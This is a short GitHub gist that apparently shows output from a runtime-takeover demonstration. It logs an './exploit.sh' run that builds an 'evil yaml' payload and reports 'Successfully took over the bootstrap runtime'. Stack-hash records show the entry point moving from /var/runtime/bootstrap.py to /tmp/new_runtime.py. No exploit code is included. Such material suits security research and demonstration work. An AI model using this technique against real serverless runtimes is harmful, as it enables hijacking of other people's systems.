Skip to content

Instantly share code, notes, and snippets.

@gyrospectre
Created October 4, 2021 01:31
Show Gist options
  • Save gyrospectre/0302adf10cecafa527bf7fcb5dd4f506 to your computer and use it in GitHub Desktop.
Save gyrospectre/0302adf10cecafa527bf7fcb5dd4f506 to your computer and use it in GitHub Desktop.
{
"stack_hash": "2f74ab12d499b7e418d71593dcd1eff56c81a764ec44a2e01a675066bf303047",
"entry_frame": {
"filename": "/var/runtime/bootstrap.py",
"code_context": [
" main()\n"
]
}
}
----
./exploit.sh ...
[+] Creating evil yaml with payload 'switch_runtime.py' and data 'exploit.tmp'
[+] Done, evil yaml at evil_yaml
{"Output": "Successfully took over the bootstrap runtime"}
{
"stack_hash": "f4b8dce5b956c946d28337b126afb0454f5f84ecc78ccf869cd5bc717081b0fa",
"entry_frame": {
"filename": "/tmp/new_runtime.py",
"code_context": [
" main()\n"
]
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment